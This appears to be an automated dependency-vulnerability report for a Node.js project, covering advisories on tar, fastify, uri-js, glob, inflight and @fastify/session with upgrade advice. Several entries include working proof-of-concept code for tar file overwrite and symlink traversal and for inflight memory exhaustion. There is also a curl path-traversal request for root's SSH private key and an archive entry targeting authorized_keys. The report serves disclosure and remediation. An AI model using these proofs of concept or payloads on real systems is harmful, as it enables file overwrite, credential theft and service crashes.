Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncaught Exception through improper handling of NUL bytes in the src/pax.ts file. An attacker can cause the application to terminate unexpectedly by providing a crafted archive containing NUL bytes in PAX path or linkpath records, which leads to an uncaught exception when these values are passed to filesystem operations.
Remediation
Upgrade tar to version 7.5.17 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Uncontrolled Recursion in the mapHas helper and filesFilter function in src/list.ts, which walk an entry path upward with one path.dirname() call per recursion and no segment cap. An attacker can terminate the Node process with an uncatchable stack-overflow RangeError by supplying a tar archive whose GNU L or PAX x long-path header carries tens of thousands of /-separated segments, when that archive is listed or extracted with a member-selection filter. Exploitation requires the application to call tar.t() or tar.x() with a non-empty member-selection list on an untrusted archive, and on async or streaming consumers the error is uncatchable while synchronous APIs can catch it.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade tar to version 7.5.21 or higher.
References
medium severity
- Vulnerable module: uri-js
- Introduced through: @fastify/swagger@8.15.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/swagger@8.15.0 › json-schema-resolver@2.0.0 › uri-js@4.4.1
Overview
uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via pctDecChars(), which decodes invalid and overlong percent-encoded sequences into ASCII metacharacters. An attacker can craft percent-encoded payloads to bypass platform decoder validation and inject path traversal or CRLF sequences that downstream consumers process without filtering.
Remediation
There is no fixed version for uri-js.
References
medium severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Improper Handling of Unicode Encoding in Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS. An attacker can overwrite arbitrary files by exploiting Unicode normalization collisions in filenames within a malicious tar archive on case-insensitive or normalization-insensitive filesystems.
Note:
This is only exploitable if the system is running on a filesystem such as macOS APFS or HFS+ that ignores Unicode normalization.
Workaround
This vulnerability can be mitigated by filtering out all SymbolicLink entries when extracting tarball data.
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');
const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);
console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);
// Construct stream
const stream = new PassThrough();
const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);
// Key 1: "f_ss"
const header1 = new tar.Header({
path: 'collision_ss',
mode: 0o644,
size: contentA.length,
});
header1.encode();
// Key 2: "f_ß"
const header2 = new tar.Header({
path: 'collision_ß',
mode: 0o644,
size: contentB.length,
});
header2.encode();
// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding
stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding
// End
stream.write(Buffer.alloc(1024));
stream.end();
// Extract
const extract = new tar.Unpack({
cwd: exploitDir,
// Ensure jobs is high enough to allow parallel processing if locks fail
jobs: 8
});
stream.pipe(extract);
extract.on('end', () => {
console.log('[*] Extraction complete');
// Check what exists
const files = fs.readdirSync(exploitDir);
console.log('[*] Files in exploit dir:', files);
files.forEach(f => {
const p = path.join(exploitDir, f);
const stat = fs.statSync(p);
const content = fs.readFileSync(p, 'utf8');
console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
});
if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
console.log('\[*] GOOD');
} else {
console.log('[-] No collision');
}
});
Remediation
Upgrade tar to version 7.5.4 or higher.
References
medium severity
- Vulnerable module: fastify
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1Remediation: Upgrade to fastify@5.7.3.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the sendWebStream function. An attacker can cause excessive memory consumption by sending a slow or non-reading client request, leading to unbounded buffering and severe performance degradation or process crashes.
Note: Only applications that return a ReadableStream (or Response with a Web Stream body) via reply.send() are impacted
Workaround
This vulnerability can be mitigated by avoiding Fastify Web Streams in responses and instead using Node.js streams or buffered payloads.
Remediation
Upgrade fastify to version 5.7.3 or higher.
References
medium severity
new
- Vulnerable module: glob
- Introduced through: @fastify/static@7.0.4 and @fastify/swagger-ui@4.2.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/static@7.0.4 › glob@10.5.0Remediation: Upgrade to @fastify/static@9.0.0.
-
Introduced through: app@ivstiv/grap › @fastify/swagger-ui@4.2.0 › @fastify/static@7.0.4 › glob@10.5.0Remediation: Upgrade to @fastify/swagger-ui@5.2.4.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the walkCB, walkCB2, walkCBSync, and walkCB2Sync methods of src/walker.ts, where each abort branch calls cb() without returning. An attacker can keep a walk consuming filesystem I/O and CPU after it has already been aborted, by driving a traversal that the caller tries to bound, because execution continues past the abort into processPatterns(), readdirCB(), and recursive walkCB2() calls. This affects only callers that rely on the signal option or AbortSignal.timeout() to cancel a walk, and applies to both glob() and globStream().
Remediation
Upgrade glob to version 13.0.7, 14.0.2 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.7 or higher.
References
medium severity
- Vulnerable module: fastify
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1Remediation: Upgrade to fastify@5.8.3.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Use of Less Trusted Source in the request.protocol and request.host getters. An attacker can manipulate the perceived protocol and host by sending crafted X-Forwarded-Proto and X-Forwarded-Host headers after bypassing the proxy and connecting directly to the application port, potentially impacting security decisions such as HTTPS enforcement, secure cookie flags, CSRF origin checks, URL construction, or host-based routing.
Note: This is only exploitable if the application uses the trustProxy option with a restrictive trust function and relies on request.protocol or request.host for security decisions, and the attacker is able to connect directly to the application, bypassing the proxy.
Remediation
Upgrade fastify to version 5.8.3 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: sqlite3@5.1.7 and bcrypt@5.1.1
Detailed paths
-
Introduced through: app@ivstiv/grap › sqlite3@5.1.7 › tar@6.2.1Remediation: Upgrade to sqlite3@6.0.1.
-
Introduced through: app@ivstiv/grap › bcrypt@5.1.1 › @mapbox/node-pre-gyp@1.0.11 › tar@6.2.1Remediation: Upgrade to bcrypt@6.0.0.
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.
PoC
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.3 or higher.
References
medium severity
- Vulnerable module: fastify
- Introduced through: fastify@4.29.1
Detailed paths
-
Introduced through: app@ivstiv/grap › fastify@4.29.1Remediation: Upgrade to fastify@5.12.1.
Overview
fastify is an overhead web framework, for Node.js.
Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input via the request validation path in lib/validation.js. An attacker can bypass body schema type enforcement by sending a root-level primitive JSON body such as "10" to a route that expects an integer. Fastify validates the coerced primitive value but leaves request.body as the original uncoerced string when the handler runs. Applications that trust the validated type can then apply business rules to the wrong type, breaking input limits and other request-body checks.
Workarounds
- Wrap the value in an object schema instead of using a root primitive body, for example accept
{ "value": 10 }and readrequest.body.value; this keeps coercion in-place and prevents the handler from seeing an uncoerced root string. - Re-check the type in the route handler before applying business rules; this prevents trust in a root primitive body value that may not match the validated type.
Remediation
Upgrade fastify to version 5.12.1 or higher.
References
medium severity
- Vulnerable module: uri-js
- Introduced through: @fastify/swagger@8.15.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/swagger@8.15.0 › json-schema-resolver@2.0.0 › uri-js@4.4.1
Overview
uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.
Affected versions of this package are vulnerable to Uncaught Exception in the parse() function of src/schemes/mailto.ts, whose to branch calls hfield[1].split(",") directly, while the subject, body, and default branches all route through unescapeComponent(), which short-circuits on a missing value. An attacker can crash the process by supplying a mailto URI whose query carries a bare to token with no =value, such as mailto:?to, so splitting on = yields a one element array and the undefined second element is dereferenced. This requires the application to pass an attacker-influenced string to URI.parse(), URI.resolve(), URI.normalize(), or URI.equal(), none of which wrap the scheme handler in a try/catch, and whether the throw terminates the process or only fails the one request depends on the host's own error handling.
Remediation
There is no fixed version for uri-js.
References
low severity
new
- Vulnerable module: @fastify/session
- Introduced through: @fastify/session@10.9.0
Detailed paths
-
Introduced through: app@ivstiv/grap › @fastify/session@10.9.0Remediation: Upgrade to @fastify/session@11.1.6.
Overview
@fastify/session is an a session plugin for fastify
Affected versions of this package are vulnerable to Race Condition via Session.decodeSessionId and the session restoration logic in index.js, where a stale or superseded session cookie can be used to restore a session that should no longer be valid. An attacker who holds an old session identifier can replay it to regain access to a session that has been regenerated, because the generation check (getSessionGeneration) was absent, allowing the store lookup to succeed and the old session to be restored without verifying that the cookie's embedded generation matches the stored session's current generation.
Remediation
Upgrade @fastify/session to version 11.1.6 or higher.